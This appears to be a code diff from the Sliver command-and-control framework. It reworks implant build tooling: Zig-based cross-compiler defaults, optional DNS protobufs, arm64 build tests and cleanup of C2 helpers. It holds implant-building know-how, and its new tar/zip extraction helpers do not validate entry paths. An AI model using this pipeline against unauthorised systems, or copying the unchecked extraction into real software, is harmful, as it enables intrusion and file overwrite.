@@ -205,7 +269,7 @@ func setupSGN(appDir string) error {
|
||||
}
|
||||
|
||||
// SetupGoPath - Extracts dependencies to goPathSrc
|
||||
func SetupGoPath(goPathSrc string) error {
|
||||
func SetupGoPath(goPathSrc string, includeDNS bool) error {
|
||||
|
||||
// GOPATH setup
|
||||
if _, err := os.Stat(goPathSrc); os.IsNotExist(err) {
|
||||
@@ -243,15 +307,17 @@ func SetupGoPath(goPathSrc string) error {
|
||||
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
|
||||
// DNS PB
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
if err != nil {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
if includeDNS {
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
if err != nil {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -277,6 +343,108 @@ func stripSliverpb(src []byte) []byte {
|
||||
return out
|
||||
}
|
||||
|
||||
// UntarSkipTopLevel - Untar a tar file, skipping the top level directory
|
||||
func untarSkipTopLevel(dst string, r io.Reader) error {
|
||||
tr := tar.NewReader(r)
|
||||
topLevel, _ := tr.Next()
|
||||
if topLevel == nil {
|
||||
return fmt.Errorf("no files found in tar")
|
||||
}
|
||||
if topLevel.Typeflag != tar.TypeDir {
|
||||
return fmt.Errorf("expected top level to be a directory, got %v", topLevel.Typeflag)
|
||||
}
|
||||
for {
|
||||
header, err := tr.Next()
|
||||
|
||||
switch {
|
||||
|
||||
// if no more files are found return
|
||||
case err == io.EOF:
|
||||
return nil
|
||||
|
||||
// return any other error
|
||||
case err != nil:
|
||||
return err
|
||||
|
||||
// if the header is nil, just skip it (not sure how this happens)
|
||||
case header == nil:
|
||||
continue
|
||||
}
|
||||
|
||||
// the target location where the dir/file should be created
|
||||
target := filepath.Join(dst, strings.TrimPrefix(header.Name, topLevel.Name))
|
||||
|
||||
// the following switch could also be done using fi.Mode(), not sure if there
|
||||
// a benefit of using one vs. the other.
|
||||
// fi := header.FileInfo()
|
||||
|
||||
// check the file type
|
||||
switch header.Typeflag {
|
||||
|
||||
// if its a dir and it doesn't exist create it
|
||||
case tar.TypeDir:
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
if err := os.MkdirAll(target, 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// if it's a file create it
|
||||
case tar.TypeReg:
|
||||
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// copy over contents
|
||||
if _, err := io.Copy(f, tr); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// manually close here after each file operation; defering would cause each file close
|
||||
// to wait until all operations have completed.
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// UnzipSkipTopLevel - Unzip a zip file, skipping the top level directory
|
||||
func unzipSkipTopLevel(dst string, z *zip.Reader) error {
|
||||
topLevel := ""
|
||||
for index, file := range z.File {
|
||||
if index == 0 {
|
||||
topLevel = file.Name
|
||||
continue
|
||||
}
|
||||
rc, err := file.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
fPath := filepath.Join(dst, strings.TrimPrefix(file.Name, topLevel))
|
||||
if file.FileInfo().IsDir() {
|
||||
err = os.MkdirAll(fPath, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(outFile, rc)
|
||||
outFile.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func xorPBRawBytes(src []byte) []byte {
|
||||
var (
|
||||
fileAst *ast.File
|
||||
@@ -293,7 +461,7 @@ func xorPBRawBytes(src []byte) []byte {
|
||||
}
|
||||
var xorKey [8]byte
|
||||
// generate random xor key
|
||||
if _, err := insecureRand.Read(xorKey[:]); err != nil {
|
||||
if _, err := rand.Read(xorKey[:]); err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
|
||||
@@ -67,6 +67,16 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetZigDir
|
||||
func GetZigDir() string {
|
||||
zigDir, err := filepath.Abs(filepath.Join(GetRootAppDir(), zigDirName))
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to get Zig directory: %s", err)
|
||||
return filepath.Join(GetRootAppDir(), zigDirName)
|
||||
}
|
||||
return zigDir
|
||||
}
|
||||
|
||||
// GetChunkDataDir - Get the Sliver chunk data dir, default is: ~/.sliver/crack/chunks/
|
||||
func GetChunkDataDir() string {
|
||||
chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks")
|
||||
@@ -121,6 +131,10 @@ under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
setupGo(appDir)
|
||||
err := setupZig(appDir)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to setup Zig: %s", err)
|
||||
}
|
||||
setupCodenames(appDir)
|
||||
saveAssetVersion(appDir)
|
||||
unpackDefaultTrafficEncoders(force)
|
||||
|
||||
@@ -72,11 +72,8 @@ func (b *Builder) Start() {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case event := <-events:
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
for event := range events {
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -212,7 +209,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
|
||||
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err)),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,7 +20,6 @@ package configs
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -82,34 +81,6 @@ func coerceFileExt(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
@@ -165,7 +136,7 @@ func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
|
||||
Do not allow backticks in user agents because that breaks compilation of the
|
||||
implant.
|
||||
*/
|
||||
if strings.Index(config.UserAgent, "`") != -1 {
|
||||
if strings.Contains(config.UserAgent, "`") {
|
||||
// Blank out the user agent so that a default one will be filled in later
|
||||
config.UserAgent = ""
|
||||
return ErrUserAgentIllegalCharacters
|
||||
|
||||
@@ -19,12 +19,9 @@ package configs
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -134,6 +131,10 @@ type ServerConfig struct {
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
CC map[string]string `json:"cc"`
|
||||
CXX map[string]string `json:"cxx"`
|
||||
}
|
||||
|
||||
// Save - Save config file to disk
|
||||
@@ -205,12 +206,7 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
}
|
||||
}
|
||||
|
||||
func getRandomID() string {
|
||||
seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano()))
|
||||
buf := make([]byte, 32)
|
||||
seededRand.Read(buf)
|
||||
return hex.EncodeToString(buf)
|
||||
}
|
||||
+91
-143
@@ -25,7 +25,6 @@ import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
insecureRand "math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -52,37 +51,13 @@ import (
|
||||
var (
|
||||
buildLog = log.NamedLogger("generate", "build")
|
||||
|
||||
// RUNTIME GOOS -> TARGET GOOS -> TARGET ARCH
|
||||
defaultCCPaths = map[string]map[string]map[string]string{
|
||||
"linux": {
|
||||
"windows": {
|
||||
"386": "/usr/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/usr/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"darwin": {
|
||||
// OSX Cross - https://github.com/tpoechtrager/osxcross
|
||||
"amd64": "/opt/osxcross/target/bin/o64-clang",
|
||||
"arm64": "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang",
|
||||
},
|
||||
},
|
||||
"darwin": {
|
||||
"windows": {
|
||||
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"linux": {
|
||||
// brew install FiloSottile/musl-cross/musl-cross
|
||||
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
"darwin/amd64": true,
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
@@ -139,40 +114,6 @@ const (
|
||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||
)
|
||||
|
||||
func copyC2List(src []*clientpb.ImplantC2) []models.ImplantC2 {
|
||||
c2s := []models.ImplantC2{}
|
||||
for _, srcC2 := range src {
|
||||
c2URL, err := url.Parse(srcC2.URL)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to parse c2 url %v", err)
|
||||
continue
|
||||
}
|
||||
c2s = append(c2s, models.ImplantC2{
|
||||
Priority: srcC2.Priority,
|
||||
URL: c2URL.String(),
|
||||
Options: srcC2.Options,
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func isC2Enabled(schemes []string, c2s []models.ImplantC2) bool {
|
||||
for _, c2 := range c2s {
|
||||
c2URL, err := url.Parse(c2.URL)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to parse c2 url %v", err)
|
||||
continue
|
||||
}
|
||||
for _, scheme := range schemes {
|
||||
if scheme == c2URL.Scheme {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("No %v URLs found in %v", schemes, c2s)
|
||||
return false
|
||||
}
|
||||
|
||||
// GetSliversDir - Get the binary directory
|
||||
func GetSliversDir() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
@@ -256,20 +197,18 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
|
||||
// SliverSharedLibrary - Generates a sliver shared library (DLL/dylib/so) binary
|
||||
func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
// Don't use a cross-compiler if the target bin is built on the same platform
|
||||
// as the sliver-server.
|
||||
if runtime.GOOS != config.GOOS {
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
if cc == "" {
|
||||
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
|
||||
}
|
||||
}
|
||||
|
||||
buildLog.Infof(" CC: %s", cc)
|
||||
buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
@@ -328,15 +267,22 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
|
||||
// SliverExecutable - Generates a sliver executable binary
|
||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
cgo := "0"
|
||||
if config.IsSharedLib {
|
||||
cgo = "1"
|
||||
}
|
||||
|
||||
// var cc string
|
||||
// var cxx string
|
||||
// cgo := "0"
|
||||
// if runtime.GOOS != config.GOOS {
|
||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
// cgo = "1"
|
||||
// }
|
||||
|
||||
// buildLog.Infof(" CC: %s", cc)
|
||||
// buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: cgo,
|
||||
CGO: "0",
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
@@ -406,8 +352,8 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
|
||||
// srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src
|
||||
srcDir := filepath.Join(projectGoPathDir, "src")
|
||||
assets.SetupGoPath(srcDir) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
assets.SetupGoPath(srcDir, config.IncludeDNS) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
if err != nil {
|
||||
buildLog.Errorf("fs perms: %v", err)
|
||||
return "", err
|
||||
@@ -482,7 +428,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
sliverCode := template.New("sliver")
|
||||
sliverCode, err = sliverCode.Funcs(template.FuncMap{
|
||||
"GenerateUserAgent": func() string {
|
||||
return "" // renerateUserAgent(config.GOOS, config.GOARCH)
|
||||
return pbC2Implant.UserAgent
|
||||
},
|
||||
}).Parse(sliverGoCode)
|
||||
if err != nil {
|
||||
@@ -578,7 +524,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
}
|
||||
|
||||
// renderTrafficEncoderAssets - Copies and compresses any enabled WASM traffic encoders
|
||||
func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
func renderTrafficEncoderAssets(_ *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
buildLog.Infof("Rendering traffic encoder assets ...")
|
||||
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
|
||||
for _, asset := range config.Assets {
|
||||
@@ -603,7 +549,7 @@ func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.I
|
||||
}
|
||||
|
||||
// renderNativeEncoderAssets - Render native encoder assets such as the english dictionary file
|
||||
func renderNativeEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
func renderNativeEncoderAssets(_ *clientpb.ImplantBuild, _ *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
buildLog.Infof("Rendering native encoder assets ...")
|
||||
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
|
||||
|
||||
@@ -664,46 +610,6 @@ func renderImplantEnglish() []string {
|
||||
return implantDictionary
|
||||
}
|
||||
|
||||
func renderChromeUserAgent(implantConfig *clientpb.HTTPC2ImplantConfig, goos string, goarch string) string {
|
||||
if implantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderMacOSVer(implantConfig), renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return implantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
func renderChromeVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func renderMacOSVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// GenerateConfig - Generate the keys/etc for the implant
|
||||
func GenerateConfig(name string, implantConfig *clientpb.ImplantConfig) (*clientpb.ImplantBuild, error) {
|
||||
var err error
|
||||
@@ -794,38 +700,80 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
func findCrossCompilers(targetGoos string, targetGoarch string) (string, string) {
|
||||
var found bool
|
||||
func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string) {
|
||||
|
||||
// Get CC and CXX from ENV
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGoos, targetGoarch)
|
||||
// Get CC and CXX from ENV -- First Priority
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGOOS, targetGOARCH)
|
||||
if cc != "" && cxx != "" {
|
||||
buildLog.Debugf("CC and CXX found in ENV: cc=%s, cxx=%s", cc, cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
// If no CC is set in ENV then look for default path(s), we need a CC
|
||||
// but don't always need a CXX so we only WARN on a missing CXX
|
||||
if cc == "" {
|
||||
buildLog.Debugf("CC not found in ENV, using default paths")
|
||||
if _, ok := defaultCCPaths[runtime.GOOS]; ok {
|
||||
if cc, found = defaultCCPaths[runtime.GOOS][targetGoos][targetGoarch]; !found {
|
||||
buildLog.Debugf("No default for %s/%s from %s", targetGoos, targetGoarch, runtime.GOOS)
|
||||
// Server config file -- Second Priority
|
||||
serverConfig := configs.GetServerConfig()
|
||||
if serverConfig != nil {
|
||||
if cc == "" {
|
||||
if value, ok := serverConfig.CC[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
|
||||
cc = value
|
||||
} else {
|
||||
buildLog.Debugf("CC for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
|
||||
}
|
||||
} else {
|
||||
buildLog.Debugf("No default paths for %s runtime", runtime.GOOS)
|
||||
}
|
||||
if cxx == "" {
|
||||
if value, ok := serverConfig.CXX[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
|
||||
cxx = value
|
||||
} else {
|
||||
buildLog.Debugf("CXX for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
|
||||
}
|
||||
}
|
||||
if cc != "" && cxx != "" {
|
||||
buildLog.Debugf("CC and CXX found in ENV/server config: cc=%s, cxx=%s", cc, cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
}
|
||||
|
||||
// Check to see if CC and CXX exist
|
||||
if cc != "" {
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
// Defaults -- Tertiary Priority
|
||||
// Darwin/zig doesn't work :( maybe it will in the future though
|
||||
if targetGOOS != DARWIN && (cc == "" || cxx == "") {
|
||||
zigTarget := map[string]string{
|
||||
"windows/amd64": "x86_64-windows-gnu",
|
||||
"windows/arm64": "aarch64-windows-gnu",
|
||||
"windows/386": "x86-windows-gnu",
|
||||
"linux/amd64": "x86_64-linux-musl",
|
||||
"linux/386": "x86-linux-musl",
|
||||
"linux/arm64": "aarch64-linux-musl",
|
||||
"linux/ppc64": "powerpc64le-linux-musl",
|
||||
}[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]
|
||||
|
||||
zigDir := assets.GetZigDir()
|
||||
if cc == "" {
|
||||
buildLog.Debugf("Using default zig cc for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = fmt.Sprintf("%s cc -target %s", filepath.Join(zigDir, "zig"), zigTarget)
|
||||
|
||||
}
|
||||
if cxx == "" {
|
||||
buildLog.Debugf("Using default zig cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cxx = fmt.Sprintf("%s c++ -target %s", filepath.Join(zigDir, "zig"), zigTarget)
|
||||
}
|
||||
}
|
||||
buildLog.Debugf(" CC = '%s'", cc)
|
||||
if cxx != "" {
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
// Try to use OSXCross for cross-compiling to Darwin
|
||||
if targetGOOS == DARWIN && runtime.GOOS != DARWIN {
|
||||
if targetGOARCH == "amd64" && cc == "" {
|
||||
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = "/opt/osxcross/target/bin/o64-clang"
|
||||
if cxx == "" {
|
||||
cxx = cc
|
||||
}
|
||||
}
|
||||
if targetGOARCH == "arm64" && cc == "" {
|
||||
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang"
|
||||
if cxx == "" {
|
||||
cxx = cc
|
||||
}
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("CXX = '%s'", cxx)
|
||||
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
@@ -996,7 +944,7 @@ const (
|
||||
// this is currently set to '*' (all packages) however in the past we've had
|
||||
// to carve out specific packages, so we left this here just in case we need
|
||||
// it in the future.
|
||||
func goGarble(config *clientpb.ImplantConfig) string {
|
||||
func goGarble(_ *clientpb.ImplantConfig) string {
|
||||
// for _, c2 := range config.C2 {
|
||||
// uri, err := url.Parse(c2.URL)
|
||||
// if err != nil {
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -36,14 +35,18 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
|
||||
// Wireguard C2
|
||||
wireguardExe(t, "windows", "amd64", false, false)
|
||||
wireguardExe(t, "windows", "arm64", false, false)
|
||||
wireguardExe(t, "windows", "386", false, false)
|
||||
wireguardExe(t, "windows", "amd64", false, true)
|
||||
wireguardExe(t, "windows", "arm64", false, true)
|
||||
wireguardExe(t, "windows", "386", false, true)
|
||||
|
||||
// Wireguard beacon
|
||||
wireguardExe(t, "windows", "amd64", true, false)
|
||||
wireguardExe(t, "windows", "arm64", true, false)
|
||||
wireguardExe(t, "windows", "386", true, false)
|
||||
wireguardExe(t, "windows", "amd64", true, true)
|
||||
wireguardExe(t, "windows", "arm64", true, true)
|
||||
wireguardExe(t, "windows", "386", true, true)
|
||||
|
||||
// mTLS C2
|
||||
@@ -82,12 +85,16 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
// Multiple C2s
|
||||
multiExe(t, "windows", "amd64", false, true)
|
||||
multiExe(t, "windows", "amd64", false, false)
|
||||
multiExe(t, "windows", "arm64", false, true)
|
||||
multiExe(t, "windows", "arm64", false, false)
|
||||
multiExe(t, "windows", "386", false, false)
|
||||
multiExe(t, "windows", "386", false, false)
|
||||
|
||||
// Multiple Beacons
|
||||
multiExe(t, "windows", "amd64", true, true)
|
||||
multiExe(t, "windows", "amd64", true, false)
|
||||
multiExe(t, "windows", "arm64", true, true)
|
||||
multiExe(t, "windows", "arm64", true, false)
|
||||
multiExe(t, "windows", "386", true, false)
|
||||
multiExe(t, "windows", "386", true, false)
|
||||
|
||||
@@ -97,50 +104,77 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestSliverSharedLibWindows(t *testing.T) {
|
||||
// amd64
|
||||
multiLibrary(t, "windows", "amd64", true)
|
||||
multiLibrary(t, "windows", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiLibrary(t, "windows", "arm64", true)
|
||||
multiLibrary(t, "windows", "arm64", false)
|
||||
|
||||
// 386
|
||||
multiLibrary(t, "windows", "386", true)
|
||||
multiLibrary(t, "windows", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableLinux(t *testing.T) {
|
||||
// amd64
|
||||
multiExe(t, "linux", "amd64", false, true)
|
||||
multiExe(t, "linux", "amd64", false, false)
|
||||
|
||||
multiExe(t, "linux", "amd64", true, true)
|
||||
multiExe(t, "linux", "amd64", true, false)
|
||||
|
||||
tcpPivotExe(t, "linux", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiExe(t, "linux", "arm64", false, true)
|
||||
multiExe(t, "linux", "arm64", false, false)
|
||||
multiExe(t, "linux", "arm64", true, true)
|
||||
multiExe(t, "linux", "arm64", true, false)
|
||||
tcpPivotExe(t, "linux", "arm64", false)
|
||||
|
||||
// 386
|
||||
multiExe(t, "linux", "386", false, true)
|
||||
multiExe(t, "linux", "386", false, false)
|
||||
multiExe(t, "linux", "386", true, true)
|
||||
multiExe(t, "linux", "386", true, false)
|
||||
tcpPivotExe(t, "linux", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverSharedLibraryLinux(t *testing.T) {
|
||||
if runtime.GOOS == "linux" {
|
||||
multiLibrary(t, "linux", "amd64", true)
|
||||
multiLibrary(t, "linux", "amd64", false)
|
||||
multiLibrary(t, "linux", "386", true)
|
||||
multiLibrary(t, "linux", "386", false)
|
||||
}
|
||||
// amd64
|
||||
multiLibrary(t, "linux", "amd64", true)
|
||||
multiLibrary(t, "linux", "amd64", false)
|
||||
|
||||
// arm64
|
||||
multiLibrary(t, "linux", "arm64", true)
|
||||
multiLibrary(t, "linux", "arm64", false)
|
||||
|
||||
// 386
|
||||
multiLibrary(t, "linux", "386", true)
|
||||
multiLibrary(t, "linux", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableDarwin(t *testing.T) {
|
||||
// amd64
|
||||
multiExe(t, "darwin", "amd64", false, true)
|
||||
multiExe(t, "darwin", "amd64", false, false)
|
||||
